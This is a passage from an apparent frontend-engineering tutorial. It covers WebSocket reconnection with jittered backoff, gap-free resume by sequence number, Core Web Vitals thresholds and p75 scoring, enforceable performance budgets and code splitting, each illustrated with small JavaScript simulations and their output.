  4. The second half handles flapping: a connection that opens and drops at once (200 ms, then 150 ms) keeps increasing the attempt counter, so a server that accepts and immediately closes connections isn't hammered. Only a connection that stayed up for at least STABLE_MS (10 s), like the third one at 30,000 ms, resets the counter to 0.
  5. Add two browser signals to this in a real client: retry immediately on the online event (the network is back, so waiting is pointless), and consider pausing the connection when the tab is hidden (document.visibilityState) and catching up when it's visible again, which saves battery and server connections for tabs nobody is looking at.
AdvancedWhy jitter matters: a server restart

A deploy restarts the server holding 10,000 WebSocket connections, and it's back after 5 s. The question isn't when the first client reconnects, it's how many arrive at once when the server comes back:

herd.mjs
// 10,000 clients lose their WebSocket when a server restarts; it is back after 5 s.
// How hard do they hit it when it comes back? (Seeded PRNG: same numbers every run.)
function mulberry32(seed) {
  return () => {
    seed = (seed + 0x6d2b79f5) | 0;
    let t = Math.imul(seed ^ (seed >>> 15), 1 | seed);
    t = (t + Math.imul(t ^ (t >>> 7), 61 | t)) ^ t;
    return ((t ^ (t >>> 14)) >>> 0) / 4294967296;
  };
}
const CLIENTS = 10_000, DOWN_UNTIL = 5_000, BASE = 500, CAP = 30_000;

function simulate(name, delay) {
  const rand = mulberry32(1);
  const windows = new Map(); // 100 ms window -> attempts that reach the recovered server
  const back = [];
  let failed = 0;
  for (let c = 0; c < CLIENTS; c++) {
    let t = 0;
    for (let attempt = 0; ; attempt++) {
      t += delay(attempt, rand);
      if (t >= DOWN_UNTIL) break; // the server is up: this attempt connects
      failed++;
    }
    const w = Math.floor(t / 100);
    windows.set(w, (windows.get(w) ?? 0) + 1);
    back.push(t);
  }
  back.sort((a, b) => a - b);
  const peak = Math.max(...windows.values());
  const sec = (ms) => (ms / 1000).toFixed(1).padStart(4);
  console.log(`${name.padEnd(21)} worst 100 ms: ${String(peak).padStart(5)} connects | ` +
    `half back by ${sec(back[CLIENTS / 2])} s, all by ${sec(back.at(-1))} s | failed tries ${failed}`);
}

const exp = (a) => Math.min(CAP, BASE * 2 ** a);
simulate("fixed 1 s retry", () => 1000);
simulate("exponential", (a) => exp(a));
simulate("exponential + jitter", (a, rand) => Math.floor(rand() * exp(a)));
simulate("equal jitter", (a, rand) => exp(a) / 2 + Math.floor((rand() * exp(a)) / 2));
Result
fixed 1 s retry       worst 100 ms: 10000 connects | half back by  5.0 s, all by  5.0 s | failed tries 40000
exponential           worst 100 ms: 10000 connects | half back by  7.5 s, all by  7.5 s | failed tries 30000
exponential + jitter  worst 100 ms:   330 connects | half back by  7.7 s, all by 34.8 s | failed tries 39877
equal jitter          worst 100 ms:   541 connects | half back by  6.0 s, all by 12.9 s | failed tries 31937
What’s happening
  1. Each simulated client starts at t = 0 (the moment the server dropped them) and keeps retrying with its delay function until an attempt lands after DOWN_UNTIL (5,000 ms). The model records when each client gets back and counts arrivals per 100 ms window.
  2. Fixed 1 s retry: every client retries at exactly 1, 2, 3, 4 and 5 s, so all 10,000 arrive in the same 100 ms window at 5.0 s. A server that just restarted, still warming caches, gets its entire load in one burst (and each reconnect usually triggers a resync fetch, too). It also wasted 40,000 failed attempts.
  3. Exponential without jitter is no better for the burst: every client follows the same 500, 1,000, 2,000, 4,000 sequence, so all 10,000 land together again at 7.5 s. Backoff alone spreads attempts over time, not over clients.
  4. Exponential with full jitter (seeded, so reproducible) drops the worst 100 ms to 330 connections, a 30× smaller spike. The cost is the tail: half the clients are back by 7.7 s, but the unlucky last one waits until 34.8 s, because jitter on a 30 s cap can draw nearly the full 30 s.
  5. Equal jitter (half the backoff fixed, half random) is the compromise: a worst window of 541, half back by 6.0 s and everyone by 12.9 s. Which one to pick is a trade-off between protecting the server and how long the slowest user waits; for user-facing reconnects, equal jitter or full jitter with a lower cap are both defensible. The same reasoning applies to retries of failed requests (see Retries, dead-letter queues and poison messages).
AdvancedResuming without gaps or duplicates

Reconnecting isn't enough: events published while the client was away must be replayed, events that arrive twice must be dropped, and a client that was away too long must fall back to a full refetch. Sequence numbers make all three mechanical:

resume.mjs
// After a reconnect, the client asks for everything after the last sequence number it saw.
// The server keeps only a short replay buffer; if the client is too far behind it must refetch a snapshot.
const BUFFER = 5;
const server = {
  events: [], // { seq, text }
  publish(text) { this.events.push({ seq: this.events.length + 1, text }); },
  since(seq) {
    const oldest = this.events.length - BUFFER + 1; // older events have been dropped
    if (seq + 1 < oldest) return { resync: true };
    return { events: this.events.filter((e) => e.seq > seq) };
  },
};

const client = { lastSeq: 0, messages: [], online: true };
function receive(e) {
  if (e.seq <= client.lastSeq) return console.log(`  drop duplicate #${e.seq}`); // dedup by sequence number
  if (e.seq !== client.lastSeq + 1) throw new Error(`gap before #${e.seq}`);
  client.messages.push(e.text);
  client.lastSeq = e.seq;
}
function publish(text) { // the server pushes to the client if it's connected
  server.publish(text);
  if (client.online) receive(server.events.at(-1));
}
function reconnect() {
  client.online = true;
  const r = server.since(client.lastSeq);
  if (r.resync) {
    client.messages = server.events.map((e) => e.text); // stand-in for GET /messages (from the database)
    client.lastSeq = server.events.at(-1).seq;
    return console.log(`  too far behind: refetched snapshot, now at #${client.lastSeq}`);
  }
  console.log(`  replayed ${r.events.map((e) => `#${e.seq}`).join(" ") || "nothing"}`);
  r.events.forEach(receive);
}

publish("a"); publish("b");
client.online = false; publish("c"); publish("d"); // a short drop
console.log(`offline at #${client.lastSeq}, server at #${server.events.length}; reconnecting`);
reconnect();
receive(server.events[2]); // the push for #3 arrives late, after the replay
client.online = false; for (const t of "efghijk") publish(t); // a long drop: 7 events, buffer of 5
console.log(`offline at #${client.lastSeq}, server at #${server.events.length}; reconnecting`);
reconnect();
console.log(`messages: ${client.messages.join(" ")}`);
Result
offline at #2, server at #4; reconnecting
  replayed #3 #4
  drop duplicate #3
offline at #4, server at #11; reconnecting
  too far behind: refetched snapshot, now at #11
messages: a b c d e f g h i j k
What’s happening
  1. Every server event carries an increasing seq. The client records lastSeq, the last event it applied, and receive drops anything at or below it (seq <= lastSeq) and refuses to apply anything that skips ahead (a gap means something was missed).
  2. Events 1 and 2 arrive live. The client goes offline, and events 3 and 4 are published while it's away. On reconnect it asks for everything after lastSeq = 2, and the server replays #3 #4 from its buffer.
  3. Then the late push of #3 from before the drop finally arrives. Because 3 <= lastSeq (now 4), it's logged as drop duplicate #3 and ignored. Without the check, the message would show twice; without the gap check, a missing event would be silently skipped.
  4. The second outage lasts seven events, but the server keeps only the last BUFFER = 5. The client's lastSeq + 1 = 5 is older than the oldest event still buffered (7), so the server answers resync, and the client refetches the full list from the normal API (refetched snapshot, now at #11). Every real-time design needs this fallback; replay buffers are always finite.
  5. SSE builds the first half of this in: if events carry an id: field, EventSource sends it back as the Last-Event-ID header when it reconnects, and the server's retry: field sets the reconnect delay. With WebSockets you send lastSeq yourself in the first message after connecting.
AdvancedChoosing a transport
PollingLong pollingSSEWebSocket
DirectionClient asksClient asks, server answers lateServer → clientBoth ways
LatencyUp to the intervalLowLowLowest
Reconnect and resumeNot neededYour codeBuilt in (Last-Event-ID, retry:)Your code
Through proxies and CDNsPlain HTTPPlain HTTP, long requestsPlain HTTP, needs no bufferingNeeds upgrade support
Server costA request per client per intervalA held request per clientAn open response per clientAn open socket per client
FitsDashboards refreshing every 30 s, job statusLegacy environmentsFeeds, notifications, live scores, LLM token streamsChat, collaborative editing, games, presence

A browser client that ties the pieces together might look like this (browser code, not run here; the logic it relies on is the models above):

live-updates.js
// Browser code: one WebSocket per app, reconnecting with backoff, resuming from lastSeq,
// writing updates into the query cache that components already read.
export function connectLive({ url, onEvent, onResync }) {
  let socket, attempt = 0, openedAt = 0, lastSeq = Number(sessionStorage.getItem("lastSeq") ?? 0), timer;

  function open() {
    socket = new WebSocket(url);
    socket.onopen = () => { openedAt = Date.now(); socket.send(JSON.stringify({ type: "resume", after: lastSeq })); };
    socket.onmessage = (msg) => {
      const e = JSON.parse(msg.data);
      if (e.type === "resync") return onResync(); // too far behind: refetch through the normal API
      if (e.seq <= lastSeq) return; // duplicate
      lastSeq = e.seq;
      sessionStorage.setItem("lastSeq", String(lastSeq));
      onEvent(e); // e.g. queryClient.setQueryData(["post", e.postId], …) or show a "new posts" banner
    };
    socket.onclose = () => {
      attempt = Date.now() - openedAt > 10_000 ? 0 : attempt + 1;
      const ceiling = Math.min(30_000, 500 * 2 ** attempt);
      timer = setTimeout(open, Math.random() * ceiling); // full jitter
    };
  }
  const onOnline = () => { clearTimeout(timer); if (socket.readyState === WebSocket.CLOSED) open(); };
  addEventListener("online", onOnline);
  open();
  return () => { removeEventListener("online", onOnline); clearTimeout(timer); socket.onclose = null; socket.close(); };
}
What’s happening
  1. open creates the socket and, once it's open, sends a resume message with lastSeq, the WebSocket equivalent of SSE's Last-Event-ID. lastSeq is kept in sessionStorage so a page reload in the same tab resumes instead of starting over.
  2. onmessage applies the same three rules as resume.mjs: a resync answer triggers a full refetch, duplicates are dropped, and new events advance lastSeq and go to onEvent.
  3. onEvent should write into the query cache (setQueryData for a changed post, or invalidate a key), so every component showing that post updates through the cache it already reads. For a feed, prefer a "3 new posts" banner over inserting posts above the reader, which would shift the content they're reading.
  4. onclose computes the next delay exactly as backoff.mjs does: reset the attempt counter only if the connection lasted more than 10 s, cap at 30 s, full jitter with Math.random(). Browsers don't expose WebSocket ping/pong frames to JavaScript, so a production client also sends an application-level heartbeat and treats a missing reply as a dead connection.
  5. The returned function cleans up: it removes the online listener (otherwise the next online event would reopen a socket nobody wants) and the onclose handler, so closing deliberately doesn't schedule a reconnect. In React that's the effect's cleanup; in Angular, DestroyRef.onDestroy.

#Web performance budgets and Core Web Vitals

Added

"Make it fast" isn't a requirement; a performance budget is. A budget is a limit on something measurable that you agree on up front and check on every change: kilobytes of JavaScript per route, the number of requests before first render, or a time metric measured on real users. Budgets turn performance from a clean-up project into a constraint, the way a latency SLO does for a backend.

The time metrics most teams budget against are Google's Core Web Vitals, three field metrics that each capture one part of what users feel (web.dev, "Web Vitals", checked October 2026):

MetricMeasuresGoodNeeds improvementPoor
LCP, Largest Contentful PaintLoading: when the largest image or text block in the viewport was painted≤ 2.5 s2.5–4.0 s> 4.0 s
INP, Interaction to Next PaintResponsiveness: the delay from a click, tap or key press to the next frame, across the whole visit≤ 200 ms200–500 ms> 500 ms
CLS, Cumulative Layout ShiftVisual stability: how much visible content moves unexpectedly≤ 0.10.1–0.25> 0.25

Each is judged at the 75th percentile of page loads, separately for mobile and desktop: a page passes when three out of four real visits are good. INP replaced First Input Delay as the responsiveness metric on 12 March 2024; FID only measured the delay before the first interaction's handler started, while INP covers every interaction and the whole time until the screen updates (web.dev, "Interaction to Next Paint", updated 2025; Google Search Central, 2024). Several 2026 blog posts claim the thresholds were tightened; Google's own pages, checked in October 2026, still give the numbers above.

A mental model: a restaurant inspection judged by the customer at the 75th percentile. LCP is how long until the main dish is on the table. INP is how long the waiter takes to react when you wave, counting the slowest time all evening, not the first. CLS is how much your plate gets moved while you're eating. And the inspector doesn't care about the average diner: if one diner in four had a bad evening, the restaurant fails.

The p75 rule is worth seeing in numbers, because it's where averages mislead:

cwv-p75.mjs
// Core Web Vitals are judged at the 75th percentile of real page loads, per device type.
const THRESHOLDS = { LCP: [2500, 4000], INP: [200, 500], CLS: [0.1, 0.25] }; // good ≤ first, poor > second
const rate = (metric, v) => (v <= THRESHOLDS[metric][0] ? "good" : v <= THRESHOLDS[metric][1] ? "needs improvement" : "poor");

function mulberry32(seed) { // seeded PRNG: the same samples on every run
  return () => {
    seed = (seed + 0x6d2b79f5) | 0;
    let t = Math.imul(seed ^ (seed >>> 15), 1 | seed);
    t = (t + Math.imul(t ^ (t >>> 7), 61 | t)) ^ t;
    return ((t ^ (t >>> 14)) >>> 0) / 4294967296;
  };
}
const rand = mulberry32(2026);
// LCP in ms for 1,000 visits: most on good connections, a slow tail on poor networks and old phones.
const sample = (fastShare, fast, slow) =>
  Array.from({ length: 1000 }, () => {
    const [lo, hi] = rand() < fastShare ? fast : slow;
    return Math.round(lo + rand() * (hi - lo));
  });
const percentile = (xs, p) => [...xs].sort((a, b) => a - b)[Math.ceil((p / 100) * xs.length) - 1]; // nearest rank

const segments = {
  desktop: sample(0.9, [900, 2200], [2500, 4500]),
  mobile: sample(0.7, [1200, 2400], [2600, 7000]),
};
for (const [name, xs] of Object.entries(segments)) {
  const mean = Math.round(xs.reduce((a, b) => a + b, 0) / xs.length);
  const p75 = percentile(xs, 75);
  const goodShare = xs.filter((x) => rate("LCP", x) === "good").length / xs.length;
  console.log(`${name.padEnd(8)} mean ${mean} ms, median ${percentile(xs, 50)} ms, p75 ${p75} ms -> ${rate("LCP", p75)} ` +
    `(${(goodShare * 100).toFixed(0)}% of visits good)`);
}
console.log(`INP 180 ms: ${rate("INP", 180)}, 320 ms: ${rate("INP", 320)} | CLS 0.08: ${rate("CLS", 0.08)}, 0.3: ${rate("CLS", 0.3)}`);
Result
desktop  mean 1772 ms, median 1628 ms, p75 2005 ms -> good (88% of visits good)
mobile   mean 2743 ms, median 2070 ms, p75 3415 ms -> needs improvement (69% of visits good)
INP 180 ms: good, 320 ms: needs improvement | CLS 0.08: good, 0.3: poor
What’s happening
  1. THRESHOLDS holds the good and poor boundaries for each metric, and rate returns the band: good at or below the first number, poor above the second, needs improvement between. The last line checks it: INP 180 ms is good, 320 ms needs improvement; CLS 0.08 is good, 0.3 poor.
  2. sample simulates 1,000 visits from a seeded PRNG: a share of visits on good devices and networks (fast range) and the rest on slow ones. Desktop is 90% fast; mobile is 70% fast, with a slow tail up to 7 s.
  3. Desktop: mean 1,772 ms, p75 2,005 ms, good, and 88% of visits are individually good. Nothing surprising.
  4. Mobile is the interesting case. The median is 2,070 ms, under 2.5 s, so a dashboard showing medians says "fine". But the p75 is 3,415 ms: needs improvement. Only 69% of visits are good, and p75 is good exactly when at least 75% of visits are good. Users in the slow tail are a quarter of your audience, and the median hides them completely.
  5. That's why you report p75 per device type, and why lab tests on a developer laptop (or Lighthouse on one throttled profile) can't replace field data from real users (CrUX, or your own RUM with the web-vitals library). In a design round, state the target as "LCP ≤ 2.5 s at p75 on mobile", not "the page loads in 2 s".
AdvancedDiagram: where INP and LCP time goes
INP: one interaction input delay processing (your handlers) presentation delay main thread was busy event callbacks run style, layout, paint tap next paint LCP: four parts (web.dev guideline shares) TTFB ~40% load duration ~40% load delay <10% render <10% server, CDN, redirects bytes of the LCP image
Where the time goes in each metric. Fix the biggest part first.
AdvancedWhat moves LCP, INP and CLS

What moves each metric, which is the list an interviewer wants when you say "then I'd optimise":

MetricUsual causesFixes
LCPSlow TTFB; the hero image discovered late (inserted by JS, CSS background, or loading="lazy"); a large image; render-blocking CSS and JS; client-side renderingCDN and caching, SSR/SSG; the hero as an <img> in the HTML with fetchpriority="high" (or <link rel="preload">); AVIF/WebP at the right size; inline critical CSS, defer scripts
INPLong tasks on the main thread (over 50 ms) from big handlers, re-rendering large trees, third-party scripts; heavy layout after the updateDo less per interaction; split work and yield (scheduler.yield() in Chrome and Firefox 142+, a setTimeout fallback elsewhere); virtualise long lists; move work to a Web Worker; show feedback first, then do the work; avoid layout thrashing
CLSImages and embeds without dimensions, ads and banners injected above content, web fonts swapping, content inserted above what the user is readingwidth/height or aspect-ratio on media; reserve slots for ads; font-display with size-adjusted fallbacks; banners that overlay instead of push; animate transform, not top or height
AdvancedINP: which interaction counts

INP isn't an average and isn't the first interaction: it's (nearly) the worst one in the visit. For pages with many interactions, one highest value is ignored per 50 interactions, so a single garbage-collection hiccup in a long editing session doesn't define the page (web.dev, "Interaction to Next Paint", 2025):

inp-pick.mjs
// INP for one visit: the worst interaction latency, ignoring one highest for every 50 interactions.
// latency = input delay + processing duration + presentation delay (ms)
const latency = (i) => i.inputDelay + i.processing + i.presentation;

function inp(interactions) {
  const sorted = [...interactions].sort((a, b) => latency(b) - latency(a));
  const skip = Math.floor(interactions.length / 50); // 0 for < 50 interactions, 1 for 50–99, 2 for 100–149 …
  return { pick: sorted[Math.min(skip, sorted.length - 1)], skip };
}
const report = (name, list) => {
  const { pick, skip } = inp(list);
  console.log(`${name}: ${list.length} interactions, ignore ${skip} -> INP ${latency(pick)} ms ` +
    `(${pick.what}: input delay ${pick.inputDelay}, processing ${pick.processing}, presentation ${pick.presentation})`);
};

// A short visit: the "filter" click runs a 280 ms handler that re-renders a 2,000-row list.
report("short visit", [
  { what: "open menu", inputDelay: 8, processing: 20, presentation: 16 },
  { what: "type in search", inputDelay: 40, processing: 60, presentation: 20 },
  { what: "filter click", inputDelay: 12, processing: 280, presentation: 34 },
  { what: "add to cart", inputDelay: 90, processing: 30, presentation: 18 }, // main thread busy with a 3rd-party script
]);

// A long session: 120 keystrokes in an editor, two of them hit a garbage-collection pause.
const keys = Array.from({ length: 120 }, (_, i) => ({ what: `key ${i}`, inputDelay: 4, processing: 30 + (i % 7) * 5, presentation: 12 }));
keys[40] = { what: "key 40", inputDelay: 250, processing: 40, presentation: 12 };
keys[90] = { what: "key 90", inputDelay: 180, processing: 40, presentation: 12 };
report("long session", keys);
Result
short visit: 4 interactions, ignore 0 -> INP 326 ms (filter click: input delay 12, processing 280, presentation 34)
long session: 120 interactions, ignore 2 -> INP 76 ms (key 6: input delay 4, processing 60, presentation 12)
What’s happening
  1. Each interaction's latency is the sum of its three phases: input delay (the main thread was busy when the tap arrived), processing (your event handlers) and presentation delay (rendering the frame that shows the result).
  2. The short visit has 4 interactions, so skip = floor(4 / 50) = 0 and INP is simply the worst: the filter click at 12 + 280 + 34 = 326 ms, needs improvement. Its breakdown says what to fix: 280 ms of processing, i.e. the handler that re-renders a 2,000-row list. Virtualising the list or rendering the filtered result in chunks is the fix, not a faster server.
  3. "Add to cart" is 138 ms, but 90 ms of it is input delay: the handler was fast, the main thread was busy with a third-party script when the user tapped. That interaction passes, but it shows the second class of INP problem, which no amount of optimising your own handler fixes.
  4. The long session has 120 keystrokes, so skip = floor(120 / 50) = 2: the two worst (keys 40 and 90, hit by 250 ms and 180 ms pauses) are ignored, and INP is the third worst, 76 ms. One-off spikes in long sessions are forgiven; a handler that's slow every time is not.
  5. In the field, the web-vitals library reports INP with an attribution build that tells you which element and which phase dominated. That's the data to collect before optimising, because the fix for input delay (break up other long tasks) is different from the fix for processing (do less in the handler) and presentation (render less).
AdvancedCLS: session windows

CLS doesn't add up every shift in a long visit. Shifts are grouped into session windows, bursts with less than 1 s between shifts and at most 5 s long, and CLS is the largest window. Shifts within 500 ms of a tap, click or key press don't count, because the user expected something to move (web.dev, "Cumulative Layout Shift"):

cls-windows.mjs
// CLS = the largest "session window" of layout shifts: shifts less than 1 s apart, a window at most 5 s long.
// Shifts within 500 ms of a tap, click or key press (hadRecentInput) don't count.
// Each shift's score = impact fraction × distance fraction.
const shift = (t, impact, distance, hadRecentInput = false) => ({ t, score: impact * distance, hadRecentInput });

function cls(shifts) {
  let best = 0, current = 0, windowStart = -Infinity, last = -Infinity;
  for (const s of shifts) {
    if (s.hadRecentInput) continue;
    if (s.t - last >= 1000 || s.t - windowStart >= 5000) { // start a new window
      current = 0;
      windowStart = s.t;
    }
    current += s.score;
    last = s.t;
    best = Math.max(best, current);
  }
  return Math.round(best * 1000) / 1000;
}

const visit = [
  shift(800, 0.5, 0.1), // web font swaps in, text reflows: 0.05
  shift(1300, 0.6, 0.15), // hero image without width/height pushes content down: 0.09
  shift(4000, 0.3, 0.1, true), // accordion the user opened: excluded
  shift(9000, 0.4, 0.2), // an ad slot loads late: 0.08, a new window
];
console.log("scores:", visit.map((s) => (s.hadRecentInput ? "(input)" : s.score.toFixed(3))).join(", "));
console.log("CLS:", cls(visit));
console.log("CLS with the hero image sized (aspect-ratio reserved):", cls(visit.filter((s) => s.t !== 1300)));
Result
scores: 0.050, 0.090, (input), 0.080
CLS: 0.14
CLS with the hero image sized (aspect-ratio reserved): 0.08
What’s happening
  1. Each shift's score is impact fraction × distance fraction: the share of the viewport the moving elements touch, times how far they moved as a share of the viewport. The font swap at 800 ms touches half the viewport and moves things 10%: 0.5 × 0.1 = 0.05.
  2. The hero image at 1,300 ms arrives without reserved space and pushes content down: 0.6 × 0.15 = 0.09. It's 500 ms after the previous shift (under 1 s), so it joins the same window: 0.05 + 0.09 = 0.14.
  3. The accordion at 4,000 ms has hadRecentInput set (the user just tapped it), so it's skipped. The ad at 9,000 ms is far from the previous shift, so it starts a new window worth 0.08 on its own.
  4. CLS is the largest window, 0.14: needs improvement. Note it isn't 0.05 + 0.09 + 0.08 = 0.22; separate bursts don't accumulate, which stops long-lived single-page apps from being punished just for being open a long time.
  5. Remove the hero image's shift (give it dimensions) and CLS drops to 0.08, now set by the ad window. That ranking tells you the order of work: the image first, then reserve the ad slot.

The usual fix is to reserve space before content arrives. An <img> with width and height attributes gets an aspect ratio from them in modern browsers, and anything else can use aspect-ratio:

Reserving space for media
CSS
.cards { display: flex; gap: 12px; align-items: flex-start; }
.card { width: 240px; border: 1px solid #cbd5e1; border-radius: 8px; overflow: hidden; background: #fff; }
.media-unsized { width: 100%; background: #e0e7ff; } /* like an <img> with no dimensions: 0px until it loads */
.media-sized { width: 100%; aspect-ratio: 16 / 9; background: linear-gradient(135deg, #e0e7ff, #fce7f3); }
.text { padding: 8px 10px; font-size: 14px; color: #1f2937; }
HTML
<div class="cards">
  <article class="card" id="a">
    <div class="media-unsized"></div>
    <p class="text">Unsized: text starts at the top</p>
  </article>
  <article class="card" id="b">
    <div class="media-sized"></div>
    <p class="text">Sized: 16:9 reserved</p>
  </article>
</div>
Resultlive, in your browser
What’s happening
  1. Both cards are 240px wide. The left one's media box has no height, like an <img> without dimensions before its bytes arrive: the test measures 0px, so the text sits at the top of the card.
  2. The right one has aspect-ratio: 16 / 9, so its height is computed from its width before anything loads: 240 × 9 / 16 = 135px. Its text starts 135px lower, exactly where it will stay.
  3. The test then simulates the image arriving by giving the left media its real 135px height. The left card's text jumps 135px: that's a layout shift, and if the user was reading or about to tap, it's the one that makes them tap the wrong thing. The right card's text moves 0px.
  4. With a real <img width="1280" height="720">, the browser derives the same 16:9 ratio from the attributes and CSS width: 100%; height: auto scales it, so you get the right card's behaviour without writing aspect-ratio yourself. For ads and embeds whose size you don't know, reserve the most common size with min-height.
AdvancedBudgets you can enforce

Time metrics are measured after the fact; bytes can be checked before you deploy. A useful trick is to derive the byte budget from the time goal, so the number isn't arbitrary:

budget.mjs
// Turn a time goal into a byte budget, then check a build against it (as a CI step would).
const RTT = 0.15, MBPS = 1.6; // Lighthouse mobile profile
const goal = 2.5; // s: LCP "good" threshold
const roundTrips = 6; // DNS, TCP, TLS, HTML, CSS/JS, hero image
const renderWork = 0.4; // s of main-thread work before the hero paints (assumed)
const transferTime = goal - roundTrips * RTT - renderWork;
const budgetKb = Math.floor((transferTime * MBPS * 1_000_000) / 8 / 1024);
console.log(`${goal} s goal - ${(roundTrips * RTT).toFixed(1)} s of round trips - ${renderWork} s of rendering = ` +
  `${transferTime.toFixed(1)} s of transfer = ${budgetKb} KB of critical bytes`);

const budget = { js: 120, css: 25, html: 20, hero: 65 }; // KB, compressed; the team's split of budgetKb
const build = [ // what the bundler and image pipeline produced for the home page
  { file: "main.4f2a.js", type: "js", kb: 118 },
  { file: "vendor.91cc.js", type: "js", kb: 64 },
  { file: "app.0b3e.css", type: "css", kb: 22 },
  { file: "index.html", type: "html", kb: 18 },
  { file: "hero-1280.avif", type: "hero", kb: 61 },
];
let failed = false;
for (const [type, limit] of Object.entries(budget)) {
  const used = build.filter((f) => f.type === type).reduce((sum, f) => sum + f.kb, 0);
  const over = used > limit;
  failed ||= over;
  console.log(`${type.padEnd(5)} ${String(used).padStart(4)} / ${limit} KB ${over ? `✗ over by ${used - limit} KB` : "ok"}`);
}
console.log(`total budget ${Object.values(budget).reduce((a, b) => a + b)} of ${budgetKb} KB; build ${failed ? "fails" : "passes"}`);
Result
2.5 s goal - 0.9 s of round trips - 0.4 s of rendering = 1.2 s of transfer = 234 KB of critical bytes
js     182 / 120 KB ✗ over by 62 KB
css     22 / 25 KB ok
html    18 / 20 KB ok
hero    61 / 65 KB ok
total budget 230 of 234 KB; build fails
What’s happening
  1. Start from the goal, LCP ≤ 2.5 s, on the same Lighthouse mobile profile as before (150 ms RTT, 1.6 Mbps). Six round trips (DNS, TCP, TLS, HTML, CSS/JS, the hero image) cost 0.9 s, and the phone needs some main-thread time to render (an assumed 0.4 s).
  2. That leaves 2.5 − 0.9 − 0.4 = 1.2 s of transfer, which at 1.6 Mbps is 234 KB of critical bytes. It's a budget for everything the first screen needs, because all of it competes for the same connection.
  3. The team splits it by type: 120 KB of JavaScript, 25 of CSS, 20 of HTML and 65 for the hero image, 230 KB in total, inside the 234.
  4. The build has two JavaScript files, main (118 KB) and vendor (64 KB): 182 KB against a 120 KB budget, over by 62 KB, so the check fails and the pull request can't merge until someone splits a route or drops a dependency. CSS, HTML and the hero image pass.
  5. Tools do this for real: Lighthouse CI assertions, size-limit or bundler budgets (Angular's budgets in angular.json fail the build). The important part isn't the tool, it's that the budget runs on every pull request, so a 40 KB date library is caught the day it's added, not three months later.

#Loading strategy: code splitting, prefetching and images

Added

A loading strategy decides what the browser downloads, in what order, and when. Everything competes for one connection and one main thread, so the strategy is a priority list: the first screen first (HTML, critical CSS, the hero image, the fonts it uses, the JavaScript it needs to respond), then the code for the current route, then what the user is likely to need next (prefetched on intent or when idle), and everything else only when it's needed (lazy).

The three tools are code splitting (the bundler cuts the app into chunks loaded by route or by interaction with dynamic import()), resource hints and priorities (preload, preconnect, fetchpriority, async/defer, loading="lazy", speculation rules) and responsive images (srcset and sizes so each device downloads the smallest file that looks sharp, in a modern format).

A mental model: packing a small car for a road trip. What you need on the way goes on the front seat (critical path). Each day's clothes go in labelled bags in the boot, opened only on that day (route chunks). Things you'll probably need at the next stop you fetch while you're stopped anyway (prefetch when idle). Things you might need you buy when you need them (lazy). And you phone the hotel ahead so the room is ready when you arrive (preconnect).

route-split.mjs
// One bundle vs route-level code splitting: what does each route download on first visit? (KB, compressed)
const modules = { framework: 45, router: 12, designSystem: 30, feed: 40, editor: 160, charts: 90, checkout: 55, settings: 20 };
const routes = {
  "/feed": ["framework", "router", "designSystem", "feed"],
  "/compose": ["framework", "router", "designSystem", "editor"],
  "/analytics": ["framework", "router", "designSystem", "charts"],
  "/checkout": ["framework", "router", "designSystem", "checkout"],
  "/settings": ["framework", "router", "designSystem", "settings"],
};
const kb = (names) => names.reduce((sum, m) => sum + modules[m], 0);
const everything = kb(Object.keys(modules));

// The bundler puts modules used by every route into a shared chunk, the rest into one chunk per route.
const all = Object.values(routes);
const shared = Object.keys(modules).filter((m) => all.every((r) => r.includes(m)));
console.log(`shared chunk: ${shared.join(" + ")} = ${kb(shared)} KB; single bundle = ${everything} KB`);
for (const [route, needs] of Object.entries(routes)) {
  const own = needs.filter((m) => !shared.includes(m));
  console.log(`${route.padEnd(11)} single bundle ${everything} KB | split ${kb(shared)} + ${kb(own)} = ${kb(needs)} KB ` +
    `(${Math.round((1 - kb(needs) / everything) * 100)}% less)`);
}
// A later client-side navigation to /analytics only needs the route chunk; the shared one is cached.
console.log(`/feed -> /analytics navigation downloads ${modules.charts} KB (prefetch it on hover and it's 0 at click time)`);
Result
shared chunk: framework + router + designSystem = 87 KB; single bundle = 452 KB
/feed       single bundle 452 KB | split 87 + 40 = 127 KB (72% less)
/compose    single bundle 452 KB | split 87 + 160 = 247 KB (45% less)
/analytics  single bundle 452 KB | split 87 + 90 = 177 KB (61% less)
/checkout   single bundle 452 KB | split 87 + 55 = 142 KB (69% less)
/settings   single bundle 452 KB | split 87 + 20 = 107 KB (76% less)
/feed -> /analytics navigation downloads 90 KB (prefetch it on hover and it's 0 at click time)
What’s happening
  1. modules lists the app's pieces and their compressed sizes; routes lists what each route needs. The editor (160 KB) and charts (90 KB) are big, but each is needed by only one route.
  2. Without splitting, every route downloads everything: 452 KB, including the editor for someone who only reads the feed. On the 1.6 Mbps profile from Web performance budgets that's about 2.3 s of transfer before parse and run.
  3. The bundler puts what every route uses (framework, router, design system) into a shared chunk of 87 KB, cached once and reused by every route. Each route adds only its own chunk: /feed downloads 87 + 40 = 127 KB, 72% less; /compose, the heaviest, still saves 45%.
  4. Later navigations are cheaper still: moving from /feed to /analytics downloads only the 90 KB charts chunk, because the shared chunk is already cached. If you prefetch that chunk when the user hovers or focuses the link, it's in the cache before the click and the navigation waits for nothing.
  5. The trade-off is in the other direction too: hundreds of tiny chunks mean many requests and a waterfall when chunk A imports chunk B. Split at routes and heavy, rarely used features (editor, charts, a PDF viewer, a date picker inside a modal), not at every component.
AdvancedWhat to load when

What to load when, as a table you can draw in the interview:

WhenWhatHow
In the first responseHTML, critical CSS, the hero image's URLSSR/SSG, inline critical CSS, <img fetchpriority="high"> in the markup
Right afterThe route's JavaScript, fonts for the first screen<script type="module"> (deferred by default), <link rel="preload" as="font" crossorigin>
On intentThe next route's chunk and dataPrefetch on hover, focus or when the link is visible; speculation rules
When idleLikely next routes, analyticsrequestIdleCallback, low fetchpriority, after load
When neededBelow-the-fold images, heavy features, third-party widgetsloading="lazy", dynamic import() on interaction, facades for embeds
AdvancedImages: srcset and sizes

Images are usually most of a page's bytes, and the biggest single win is not sending a 2,400px image to a 390px phone. With srcset (the files and their widths) and sizes (how wide the image will be displayed), the browser picks per device:

srcset-pick.mjs
// <img srcset="card-320.avif 320w, card-640.avif 640w, …" sizes="(min-width: 1024px) 33vw, (min-width: 600px) 50vw, 100vw">
// Simple model of the choice: the slot width × device pixel ratio, then the smallest file at least that wide.
// (Browsers may choose differently, e.g. reuse a larger cached file; this is the usual result.)
const widths = [320, 640, 960, 1280, 1920, 2400];
const kbFor = (w) => Math.round((w * w * (9 / 16) * 0.06) / 1024); // ~0.06 bytes per pixel for a 16:9 AVIF (assumed)
